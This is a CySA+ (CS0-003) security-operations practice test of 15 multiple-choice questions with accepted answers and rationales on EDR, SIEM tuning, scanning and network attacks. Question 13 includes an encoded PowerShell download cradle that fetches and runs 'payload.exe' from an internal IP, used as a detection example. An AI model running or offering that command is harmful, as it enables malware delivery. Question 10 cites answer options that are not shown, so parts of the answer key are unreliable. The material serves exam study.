CS0-003 Security Operations Practice Test 7 — 15 Questions

Question 1

An analyst is investigating a potential compromise on a Windows endpoint. EDR telemetry shows that 'powershell.exe' was launched by 'svchost.exe', which in turn was spawned by 'services.exe'. The analyst observes that 'powershell.exe' then executed a script that downloaded an executable. What should the analyst be most concerned about?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

This indicates a potential LOLBin attack using svchost.exe to launch powershell.exe. Svchost.exe hosting a child process like powershell.exe is unusual. This parent-child relationship suggests a LOLBin (living off the land) attack, where an attacker abuses legitimate Windows binaries to execute malicious code. The script download further indicates compromise.

Answer

Services.exe spawning svchost.exe is a sign of malware infection

Answer

Powershell.exe downloading an executable is a false positive from Windows Update

Answer

Svchost.exe spawning powershell.exe is a normal Windows operation

Question 2

A security analyst is configuring a vulnerability scanner to assess internal servers. The goal is to identify missing patches and misconfigurations without impacting system performance. Which scan configuration is most appropriate?

Accepted Answer

Credentialed internal scan. A credentialed scan uses authenticated credentials to access the target, allowing deeper checks for missing patches and misconfigurations without intrusive techniques. This provides accurate results with less impact than non-credentialed scans that might cause crashes.

Answer

Non-credentialed external scan

Answer

Full port scan with vulnerability detection

Answer

Agent-based scan with performance throttling

Question 3

A security analyst is investigating a series of alerts from AWS GuardDuty indicating 'UnauthorizedAccess:EC2/SSHBruteForce'. The affected EC2 instance has a high CPU load. The analyst checks the security group rules and finds that SSH (port 22) is open to 0.0.0.0/0. What is the best immediate remediation action?

Accepted Answer

Create a new security group allowing SSH only from known IPs and attach it to the instance. The instance is exposed to the internet on SSH. Restricting SSH access to known IP addresses reduces the attack surface. Creating a new security group with a narrow source range and applying it stops brute force attempts.

Answer

Terminate the EC2 instance immediately

Answer

Disable the GuardDuty alert to reduce noise

Answer

Install a host-based firewall on the instance to block SSH

Question 4

Which of the following is the primary purpose of log normalisation in a SIEM?

Accepted Answer

Convert logs into a standardised format for correlation and analysis. Log normalisation converts logs from different sources into a common, structured format so that the SIEM can correlate and analyse them uniformly.

Answer

Encrypt logs to protect confidentiality

Answer

Reduce storage space by compressing log data

Answer

Remove false positives from log entries

Question 5

An analyst is reviewing a packet capture and observes a series of TCP SYN packets sent to a server, each followed by a SYN-ACK from the server, but no ACK from the client. The source IP is spoofed. What type of attack is most likely occurring?

Accepted Answer

TCP SYN flood attack. A SYN flood attack involves sending many SYN packets with spoofed IPs, causing the server to allocate resources for half-open connections. The lack of final ACK indicates the client never completes the handshake, exhausting server resources.

Answer

Man-in-the-middle attack

Answer

DNS amplification attack

Answer

TCP reset attack

Question 6

An analyst needs to capture network traffic on a Linux server to investigate a potential data exfiltration. Which command-line tool is best suited for real-time packet capture and analysis?

Accepted Answer

tcpdump. tcpdump is a powerful command-line packet analyzer for Linux, capable of capturing network traffic in real time and saving it for later analysis.

Answer

netstat

Answer

iperf

Answer

nmap

Question 7

A security analyst is tuning a SIEM rule that triggers on any process creation event involving 'rundll32.exe'. The rule generates many false positives from legitimate software updates. Which tuning action would most effectively reduce false positives while maintaining detection of malicious use?

Accepted Answer

Add an exclusion list for known good command-line arguments or parent processes. Creating an exception list for known legitimate processes or command lines that use rundll32.exe reduces false positives. However, the best approach is to modify the rule to include specific conditions such as parent process or command-line arguments that indicate malicious activity.

Answer

Change the rule to trigger only on network connections from rundll32.exe

Answer

Disable the rule entirely

Answer

Increase the severity threshold of the rule

Question 8

An analyst is investigating a potential memory injection attack on a Windows system. Which of the following memory analysis artifacts is most indicative of code injection?

Accepted Answer

A process with a memory region that is both writable and executable (RWX). A process that is executing in a region of memory that is both writable and executable (RWX) is a strong indicator of injected code, as legitimate processes typically have separate write and execute permissions.

Answer

A process that is running from a temp directory

Answer

A process that has an unusually high handle count

Answer

A process with multiple threads in a suspended state

Question 9

Which log source would best help detect an attacker using a domain generation algorithm (DGA) to communicate with a command and control server?

Accepted Answer

DNS query logs. DGA generates many random domain names, which are often visible in DNS query logs. Analysing DNS logs for high volumes of NXDOMAIN responses or unusual domain patterns can indicate DGA activity.

Answer

Firewall logs

Answer

Cloud audit logs

Answer

Authentication logs

Question 10

During a threat hunt, an analyst identifies a suspicious process that is making outbound connections to multiple IP addresses on port 443 using TLS. The analyst suspects data exfiltration. Which THREE techniques would best help confirm this hypothesis?

Accepted Answer

Review EDR telemetry for file reads on sensitive documents prior to the connections. Reviewing EDR telemetry (A) can indicate if sensitive files were accessed prior to the outbound connections, supporting the exfiltration hypothesis. Analyzing NetFlow/IPFIX data (D) can reveal anomalous data transfer volumes typical of exfiltration. Checking the process command line (E) may uncover suspicious parameters that indicate malicious intent. Option B (inspecting the TLS certificate) only identifies the remote server but does not confirm exfiltration; Option C (memory dump for encryption keys) is not directly useful for confirming exfiltration without additional context.

Answer

Inspect the TLS certificate presented by the remote server

Answer

Perform a memory dump of the process and look for encryption keys

Question 11

A security analyst is reviewing a SIEM alert that triggered on a single failed login attempt from an internal IP address. The username used does not exist in Active Directory. The analyst checks the source IP and finds it belongs to a known vulnerability scanner. What classification should the analyst assign to this alert?

Accepted Answer

False positive. The alert was triggered by a known vulnerability scanner attempting to enumerate usernames. This is expected behavior and not malicious, so it is a false positive.

Answer

False negative

Answer

True positive

Answer

True negative

Question 12

During a network traffic analysis, a security analyst notices a host communicating with an external IP address over TCP port 443 using a self-signed certificate. The traffic flows are consistent in size and occur every 60 seconds. The external IP is not on any threat intelligence feeds. What does this pattern most likely indicate?

Accepted Answer

Command and control beaconing. Regular, periodic connections of consistent size to an external host over HTTPS suggest beaconing, often used by malware for command and control.

Answer

Lateral movement attempt

Answer

Data exfiltration via DNS tunneling

Answer

Normal web browsing

Question 13

An EDR agent reports that the process 'svchost.exe' spawned 'powershell.exe' with the command line: 'powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQAwAC8AcABhAHkAbABvAGEAZAAuAGUAeABlACcAKQA='. Which of the following is the most appropriate classification for this activity?

Accepted Answer

True positive - likely malicious activity using a LOLBin. The encoded command decodes to 'IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.10/payload.exe')', which is a download cradle. Svchost.exe spawning PowerShell with such a command is highly suspicious and indicative of a true positive.

Answer

True positive - but only if the IP is confirmed malicious

Answer

False positive - encoded commands are used by system administrators

Answer

False positive - svchost.exe commonly launches PowerShell for legitimate tasks

Question 14

A security analyst is tuning a SIEM correlation rule that generates alerts when a single user logs into more than 10 workstations within 5 minutes. The rule is producing excessive false positives due to service accounts performing automated tasks. Which of the following is the best tuning approach to reduce false positives while still detecting potential lateral movement?

Accepted Answer

Add an exception for known service account names. Excluding known service accounts from the rule reduces false positives while still detecting lateral movement by user accounts.

Answer

Change the time window to 10 minutes

Answer

Increase the threshold to 20 workstations

Answer

Disable the rule and rely on manual log review

Question 15

During a vulnerability scan of an internal web server, the scanner reports a critical vulnerability with a CVSS score of 9.8. The server is behind a WAF that blocks the attack vector. The system owner states the vulnerability is not exploitable due to the compensating control. Which of the following is the best next step?

Accepted Answer

Document the finding and accept the risk with the compensating control. If a compensating control mitigates the risk, the vulnerability can be accepted as a false positive in the scanning context, but it should be documented and the control verified.

Answer

Re-run the scan with a non-credentialed profile

Answer

Ignore the vulnerability and close the finding

Answer

Immediately patch the server during business hours